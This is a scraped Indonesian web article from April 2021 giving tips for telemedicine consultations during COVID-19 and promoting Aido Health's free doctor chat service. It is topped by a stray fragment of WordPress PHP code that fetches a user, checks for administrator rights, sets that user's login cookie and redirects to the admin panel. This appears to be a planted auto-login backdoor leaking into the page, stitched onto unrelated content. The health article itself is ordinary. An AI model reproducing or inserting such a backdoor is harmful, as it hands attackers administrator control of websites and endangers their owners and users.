user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Health & Diet
Sebelum Melakukan Telekonsultasi Kesehatan, Perhatikan Hal-Hal Berikut

24 Apr 2021


Foto: Shutterstock


Kepastian mendapat informasi kesehatan yang tepat sangat dibutuhkan masyarakat di tengah suasana pandemi dengan mobilitas yang terbatas. Belum lagi ketakutan tertular COVID-19 saat berada di pusat layanan kesehatan atau public area

Ketika masyarakat memiliki keterbatasan untuk datang ke rumah sakit dan bertemu langsung dengan dokter, aplikasi telekonsultasi medis menjadi solusi terbaik menjawab kebutuhan masyarakat untuk mendapatkan informasi kesehatan yang terpercaya. Namun, ini tidak berarti telemedik akan menggantikan konsultasi dokter offline. Dua entitas ini saling melengkapi dalam perawatan pasien di tahap awal.

Di masa COVID-19 ini, untuk mempermudah pasien positif COVID-19 yang menjalani isolasi mandiri, salah satu perusahaan telemedicine di Indonesia, Aido Health membuka layanan telekonsultasi tatap muka gratis dengan dokter umum lewat fitur Tanya Dokter Aja! Dengan demikian pasien COVID-19 dapat terbantu dalam hal mengetahui perkembangan kondisi tubuhnya setiap hari, maupun berbagai informasi yang tepat mengenai vaksin COVID-19 termasuk efek sampingnya. 

Dengan tampilan baru pada aplikasi Aido Health, pengguna bisa mendapati fitur Tanya Dokter Aja dan berbagai layanan unggulan lainnya langsung di homescreen. Termasuk daftar rumah sakit atau klinik mitra hingga dokter langganan. “Inovasi-inovasi ini merupakan respons kami terhadap masukan dan saran dari pengguna, sehingga memungkinkan kami terus melakukan perbaikan dan pembaharuan aplikasi menjadi makin user friendly,” ujar Abiyasa Wiharso, Head of Product and Marketing Aido health kepada media (20/4/2021). 

Bagi masyarakat yang merasa terganggu kesehatannya, bisa berkonsultasi gratis dengan dokter umum untuk melakukan asesmen atau evaluasi awal. Sebelum kemudian dirujuk ke dokter spesialis sesuai dengan penyakit yang dideritanya.
Advertisement

Nah, jika Anda ingin melakukan konsultasi kesehatan lewat telekonsultasi, perhatikan beberapa hal berikut ini :
1/ Setelah terhubung di telekonsultasi tatap muka, pastikan posisi wajah mengarah ke kamera.
2/ Ceritakan kondisi dan keluhan yang Anda rasakan secara jelas dan detail.
3/ Jika ingin memperlihatkan bagian luka, pastikan terlihat jelas dengan jarak yang sesuai.
4/ Telekonsultasi bisa dilakukan selama bukan kondisi emergency seperti hilang kesadaran (tidak sadarkan diri). Untuk Anda yang mengalami batuk, pilek, sakit kepala, sakit perut, mata merah, kulit gatal dan luka ringan, alergi, diabetes serta penyakit kulit dan kelamin selama masih dalam kondisi sadar bisa melakukan telekonsultasi dengan dokter. (f) 


Baca juga: 
Tips Minum Air Putih Agar Tidak Dehidrasi Saat Puasa
Vaksinasi COVID-19 Saat Berpuasa, Apa Dampaknya Bagi Imunitas Tubuh?
Rayakan Hari Tidur Sedunia, Ini 5 Tip Mendapatkan Tidur Berkualitas



Faunda Liswijayanti


Topic

#telemedicine

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?